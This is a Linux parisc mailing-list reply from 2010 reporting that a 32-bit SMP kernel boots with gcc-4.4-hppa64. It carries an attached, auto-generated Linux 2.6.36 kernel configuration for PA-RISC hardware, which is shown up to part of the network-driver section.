On Tue, 16 Nov 2010, Grant Grundler wrote:

> On that note, can you try a 32-bit kernel? (SMP maybe)

The attached SMP config boots successfully when the kernel is
built with gcc-4.4-hppa64 4.4.5-2.  Given the 4.3 is EOL, I don't
think it is worth the effort to find what's wrong and fix it.

A few features are explicitly disabled:

CONFIG_IPV6: Unaligned load
CONFIG_IGBVF: See http://www.mail-archive.com/e1000-devel@lists.sourceforge.net/msg03308.html

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--gBBFr7Ir9EOA20Yy
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="config-2.6.36+"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.36
# Wed Nov 17 21:02:53 2010
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_TIME_LOW_RES=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_IRQ_PER_CPU=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_CONSTRUCTORS=y

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_FANOUT=64
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=17
# CONFIG_CGROUPS is not set
# CONFIG_SYSFS_DEPRECATED_V2 is not set
CONFIG_RELAY=y
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_LZO=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
# CONFIG_PERF_COUNTERS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
CONFIG_COMPAT_BRK=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_USE_GENERIC_SMP_HELPERS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_BSG=y
CONFIG_BLK_DEV_INTEGRITY=y
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_INLINE_SPIN_TRYLOCK is not set
# CONFIG_INLINE_SPIN_TRYLOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK is not set
# CONFIG_INLINE_SPIN_LOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK_IRQ is not set
# CONFIG_INLINE_SPIN_LOCK_IRQSAVE is not set
CONFIG_INLINE_SPIN_UNLOCK=y
# CONFIG_INLINE_SPIN_UNLOCK_BH is not set
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
# CONFIG_INLINE_SPIN_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_READ_TRYLOCK is not set
# CONFIG_INLINE_READ_LOCK is not set
# CONFIG_INLINE_READ_LOCK_BH is not set
# CONFIG_INLINE_READ_LOCK_IRQ is not set
# CONFIG_INLINE_READ_LOCK_IRQSAVE is not set
CONFIG_INLINE_READ_UNLOCK=y
# CONFIG_INLINE_READ_UNLOCK_BH is not set
CONFIG_INLINE_READ_UNLOCK_IRQ=y
# CONFIG_INLINE_READ_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_WRITE_TRYLOCK is not set
# CONFIG_INLINE_WRITE_LOCK is not set
# CONFIG_INLINE_WRITE_LOCK_BH is not set
# CONFIG_INLINE_WRITE_LOCK_IRQ is not set
# CONFIG_INLINE_WRITE_LOCK_IRQSAVE is not set
CONFIG_INLINE_WRITE_UNLOCK=y
# CONFIG_INLINE_WRITE_UNLOCK_BH is not set
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_INLINE_WRITE_UNLOCK_IRQRESTORE is not set
# CONFIG_MUTEX_SPIN_ON_OWNER is not set
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_COMPAT=y
CONFIG_NR_CPUS=32

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
# CONFIG_GSC_WAX is not set
# CONFIG_EISA is not set
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_STUB is not set
CONFIG_PCI_IOV=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
# CONFIG_CHASSIS_LCD_LED is not set
# CONFIG_PDC_CHASSIS is not set
# CONFIG_PDC_CHASSIS_WARN is not set
# CONFIG_PDC_STABLE is not set

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=m
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=m
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
CONFIG_XFRM_SUB_POLICY=y
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
CONFIG_NET_KEY=m
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
CONFIG_IP_PNP_RARP=y
CONFIG_NET_IPIP=m
CONFIG_NET_IPGRE=m
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=y
CONFIG_INET_XFRM_MODE_TUNNEL=y
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=y
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IPV6 is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_NETFILTER_ADVANCED=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
# CONFIG_NF_CONNTRACK is not set
# CONFIG_NETFILTER_TPROXY is not set
CONFIG_NETFILTER_XTABLES=m

#
# Xtables combined modules
#
CONFIG_NETFILTER_XT_MARK=m

#
# Xtables targets
#
CONFIG_NETFILTER_XT_TARGET_CHECKSUM=m
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
CONFIG_NETFILTER_XT_TARGET_DSCP=m
CONFIG_NETFILTER_XT_TARGET_HL=m
CONFIG_NETFILTER_XT_TARGET_IDLETIMER=m
CONFIG_NETFILTER_XT_TARGET_MARK=m
# CONFIG_NETFILTER_XT_TARGET_NFLOG is not set
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
CONFIG_NETFILTER_XT_TARGET_RATEEST=m
# CONFIG_NETFILTER_XT_TARGET_TEE is not set
# CONFIG_NETFILTER_XT_TARGET_TRACE is not set
# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set
CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=m

#
# Xtables matches
#
CONFIG_NETFILTER_XT_MATCH_COMMENT=m
CONFIG_NETFILTER_XT_MATCH_CPU=m
CONFIG_NETFILTER_XT_MATCH_DCCP=m
CONFIG_NETFILTER_XT_MATCH_DSCP=m
CONFIG_NETFILTER_XT_MATCH_ESP=m
# CONFIG_NETFILTER_XT_MATCH_HASHLIMIT is not set
CONFIG_NETFILTER_XT_MATCH_HL=m
CONFIG_NETFILTER_XT_MATCH_IPRANGE=m
CONFIG_NETFILTER_XT_MATCH_LENGTH=m
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
CONFIG_NETFILTER_XT_MATCH_MAC=m
CONFIG_NETFILTER_XT_MATCH_MARK=m
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
# CONFIG_NETFILTER_XT_MATCH_OSF is not set
CONFIG_NETFILTER_XT_MATCH_OWNER=m
CONFIG_NETFILTER_XT_MATCH_POLICY=m
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
# CONFIG_NETFILTER_XT_MATCH_QUOTA is not set
CONFIG_NETFILTER_XT_MATCH_RATEEST=m
CONFIG_NETFILTER_XT_MATCH_REALM=m
CONFIG_NETFILTER_XT_MATCH_RECENT=m
CONFIG_NETFILTER_XT_MATCH_SCTP=m
# CONFIG_NETFILTER_XT_MATCH_STATISTIC is not set
CONFIG_NETFILTER_XT_MATCH_STRING=m
CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
# CONFIG_NETFILTER_XT_MATCH_TIME is not set
# CONFIG_NETFILTER_XT_MATCH_U32 is not set

#
# IP: Netfilter Configuration
#
# CONFIG_NF_DEFRAG_IPV4 is not set
CONFIG_IP_NF_QUEUE=m
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_MATCH_ADDRTYPE=m
CONFIG_IP_NF_MATCH_AH=m
CONFIG_IP_NF_MATCH_ECN=m
CONFIG_IP_NF_MATCH_TTL=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_IP_NF_MANGLE=m
CONFIG_IP_NF_TARGET_ECN=m
CONFIG_IP_NF_TARGET_TTL=m
CONFIG_IP_NF_RAW=m
CONFIG_IP_NF_ARPTABLES=m
CONFIG_IP_NF_ARPFILTER=m
CONFIG_IP_NF_ARP_MANGLE=m
CONFIG_IP_DCCP=m
CONFIG_INET_DCCP_DIAG=m

#
# DCCP CCIDs Configuration (EXPERIMENTAL)
#
# CONFIG_IP_DCCP_CCID2_DEBUG is not set
CONFIG_IP_DCCP_CCID3=y
# CONFIG_IP_DCCP_CCID3_DEBUG is not set
CONFIG_IP_DCCP_CCID3_RTO=100
CONFIG_IP_DCCP_TFRC_LIB=y

#
# DCCP Kernel Hacking
#
# CONFIG_IP_DCCP_DEBUG is not set
CONFIG_IP_SCTP=m
# CONFIG_SCTP_DBG_MSG is not set
# CONFIG_SCTP_DBG_OBJCNT is not set
# CONFIG_SCTP_HMAC_NONE is not set
CONFIG_SCTP_HMAC_SHA1=y
# CONFIG_SCTP_HMAC_MD5 is not set
# CONFIG_RDS is not set
CONFIG_TIPC=m
# CONFIG_TIPC_ADVANCED is not set
# CONFIG_TIPC_DEBUG is not set
# CONFIG_ATM is not set
CONFIG_L2TP=m
# CONFIG_L2TP_DEBUGFS is not set
# CONFIG_L2TP_V3 is not set
CONFIG_STP=m
CONFIG_GARP=m
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
CONFIG_VLAN_8021Q=m
CONFIG_VLAN_8021Q_GVRP=y
# CONFIG_DECNET is not set
CONFIG_LLC=m
CONFIG_LLC2=m
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
CONFIG_NET_CLS_ROUTE=y
# CONFIG_DCB is not set
CONFIG_RPS=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
CONFIG_WIRELESS=y
# CONFIG_CFG80211 is not set
# CONFIG_LIB80211 is not set

#
# CFG80211 needs to be enabled for MAC80211
#

#
# Some wireless drivers require a rate control algorithm
#
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_DEVTMPFS is not set
# CONFIG_STANDALONE is not set
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
# CONFIG_PARPORT_SERIAL is not set
CONFIG_PARPORT_PC_FIFO=y
CONFIG_PARPORT_PC_SUPERIO=y
CONFIG_PARPORT_GSC=m
# CONFIG_PARPORT_AX88796 is not set
# CONFIG_PARPORT_1284 is not set
CONFIG_PARPORT_NOT_PC=y
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_UMEM=m
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m

#
# DRBD disabled because PROC_FS, INET or CONNECTOR not selected
#
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_SX8=m
CONFIG_BLK_DEV_UB=m
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=6144
# CONFIG_BLK_DEV_XIP is not set
CONFIG_CDROM_PKTCDVD=m
CONFIG_CDROM_PKTCDVD_BUFFERS=8
CONFIG_CDROM_PKTCDVD_WCACHE=y
CONFIG_ATA_OVER_ETH=m
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_AD525X_DPOT is not set
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ICS932S401 is not set
CONFIG_ENCLOSURE_SERVICES=m
# CONFIG_HP_ILO is not set
# CONFIG_ISL29003 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_SENSORS_BH1780 is not set
# CONFIG_HMC6352 is not set
# CONFIG_DS1682 is not set
# CONFIG_BMP085 is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
CONFIG_EEPROM_AT24=m
CONFIG_EEPROM_LEGACY=m
# CONFIG_EEPROM_MAX6875 is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=m
CONFIG_RAID_ATTRS=m
CONFIG_SCSI=m
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=m
CONFIG_CHR_DEV_ST=m
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=m
CONFIG_CHR_DEV_SCH=m
CONFIG_SCSI_ENCLOSURE=m
# CONFIG_SCSI_MULTI_LUN is not set
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=m
CONFIG_SCSI_FC_ATTRS=m
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_SAS_ATTRS=m
CONFIG_SCSI_SAS_LIBSAS=m
CONFIG_SCSI_SAS_HOST_SMP=y
CONFIG_SCSI_SAS_LIBSAS_DEBUG=y
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
CONFIG_ISCSI_TCP=m
CONFIG_ISCSI_BOOT_SYSFS=m
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
CONFIG_BLK_DEV_3W_XXXX_RAID=m
CONFIG_SCSI_HPSA=m
CONFIG_SCSI_3W_9XXX=m
CONFIG_SCSI_3W_SAS=m
# CONFIG_SCSI_ACARD is not set
CONFIG_SCSI_AACRAID=m
CONFIG_SCSI_AIC7XXX=m
CONFIG_AIC7XXX_CMDS_PER_DEVICE=32
CONFIG_AIC7XXX_RESET_DELAY_MS=15000
CONFIG_AIC7XXX_DEBUG_ENABLE=y
CONFIG_AIC7XXX_DEBUG_MASK=0
CONFIG_AIC7XXX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC7XXX_OLD=m
CONFIG_SCSI_AIC79XX=m
CONFIG_AIC79XX_CMDS_PER_DEVICE=32
CONFIG_AIC79XX_RESET_DELAY_MS=15000
CONFIG_AIC79XX_DEBUG_ENABLE=y
CONFIG_AIC79XX_DEBUG_MASK=0
CONFIG_AIC79XX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC94XX=m
CONFIG_AIC94XX_DEBUG=y
CONFIG_SCSI_MVSAS=m
CONFIG_SCSI_MVSAS_DEBUG=y
CONFIG_SCSI_DPT_I2O=m
# CONFIG_SCSI_ADVANSYS is not set
CONFIG_SCSI_ARCMSR=m
CONFIG_MEGARAID_NEWGEN=y
CONFIG_MEGARAID_MM=m
CONFIG_MEGARAID_MAILBOX=m
CONFIG_MEGARAID_LEGACY=m
CONFIG_MEGARAID_SAS=m
CONFIG_SCSI_MPT2SAS=m
CONFIG_SCSI_MPT2SAS_MAX_SGE=128
# CONFIG_SCSI_MPT2SAS_LOGGING is not set
# CONFIG_SCSI_HPTIOP is not set
CONFIG_LIBFC=m
CONFIG_LIBFCOE=m
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
CONFIG_SCSI_IPS=m
# CONFIG_SCSI_INITIO is not set
CONFIG_SCSI_INIA100=m
CONFIG_SCSI_PPA=m
CONFIG_SCSI_IMM=m
# CONFIG_SCSI_IZIP_EPP16 is not set
# CONFIG_SCSI_IZIP_SLOW_CTR is not set
CONFIG_SCSI_LASI700=m
CONFIG_53C700_LE_ON_BE=y
CONFIG_SCSI_STEX=m
CONFIG_SCSI_SYM53C8XX_2=m
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
CONFIG_SCSI_ZALON=m
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
CONFIG_SCSI_QLOGIC_1280=m
CONFIG_SCSI_QLA_FC=m
CONFIG_SCSI_QLA_ISCSI=m
CONFIG_SCSI_LPFC=m
# CONFIG_SCSI_LPFC_DEBUG_FS is not set
CONFIG_SCSI_DC395x=m
# CONFIG_SCSI_DC390T is not set
CONFIG_SCSI_DEBUG=m
# CONFIG_SCSI_PMCRAID is not set
CONFIG_SCSI_PM8001=m
# CONFIG_SCSI_SRP is not set
CONFIG_SCSI_BFA_FC=m
CONFIG_SCSI_DH=m
CONFIG_SCSI_DH_RDAC=m
CONFIG_SCSI_DH_HP_SW=m
CONFIG_SCSI_DH_EMC=m
CONFIG_SCSI_DH_ALUA=m
CONFIG_SCSI_OSD_INITIATOR=m
# CONFIG_SCSI_OSD_ULD is not set
CONFIG_SCSI_OSD_DPRINT_SENSE=1
# CONFIG_SCSI_OSD_DEBUG is not set
# CONFIG_ATA is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
# CONFIG_MD_RAID456 is not set
CONFIG_MD_MULTIPATH=m
CONFIG_MD_FAULTY=m
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_ZERO=m
CONFIG_DM_MULTIPATH=m
# CONFIG_DM_MULTIPATH_QL is not set
# CONFIG_DM_MULTIPATH_ST is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_UEVENT is not set
CONFIG_FUSION=y
CONFIG_FUSION_SPI=m
CONFIG_FUSION_FC=m
CONFIG_FUSION_SAS=m
CONFIG_FUSION_MAX_SGE=128
CONFIG_FUSION_CTL=m
# CONFIG_FUSION_LOGGING is not set

#
# IEEE 1394 (FireWire) support
#

#
# You can enable one or both FireWire driver stacks.
#

#
# The newer stack is recommended.
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_FIREWIRE_NOSY is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_DUMMY=m
CONFIG_BONDING=m
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
# CONFIG_BROADCOM_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_REALTEK_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_STE10XP is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MDIO_BITBANG is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=m
# CONFIG_LASI_82596 is not set
CONFIG_HAPPYMEAL=m
# CONFIG_SUNGEM is not set
CONFIG_CASSINI=m
CONFIG_NET_VENDOR_3COM=y
CONFIG_VORTEX=m
# CONFIG_TYPHOON is not set
# CONFIG_ETHOC is not set
# CONFIG_DNET is not set
CONFIG_NET_TULIP=y
CONFIG_DE2104X=m
CONFIG_DE2104X_DSL=0
CONFIG_TULIP=m
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
# CONFIG_TULIP_NAPI is not set
CONFIG_DE4X5=m
CONFIG_WINBOND_840=m
# CONFIG_DM9102 is not set
CONFIG_ULI526X=m
# CONFIG_HP100 is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
CONFIG_NET_PCI=y
CONFIG_PCNET32=m
# CONFIG_AMD8111_ETH is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_KSZ884X_PCI is not set
CONFIG_B44=m
CONFIG_B44_PCI_AUTOSELECT=y
CONFIG_B44_PCICORE_AUTOSELECT=y
CONFIG_B44_PCI=y
CONFIG_FORCEDETH=m
CONFIG_E100=m
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_8139CP is not set
CONFIG_8139TOO=m
# CONFIG_8139TOO_PIO is not set
# CONFIG_8139TOO_TUNE_TWISTER is not set
# CONFIG_8139TOO_8129 is not set
# CONFIG_8139_OLD_RX_RESET is not set
# CONFIG_R6040 is not set
CONFIG_SIS900=m
CONFIG_EPIC100=m
# CONFIG_SMSC9420 is not set
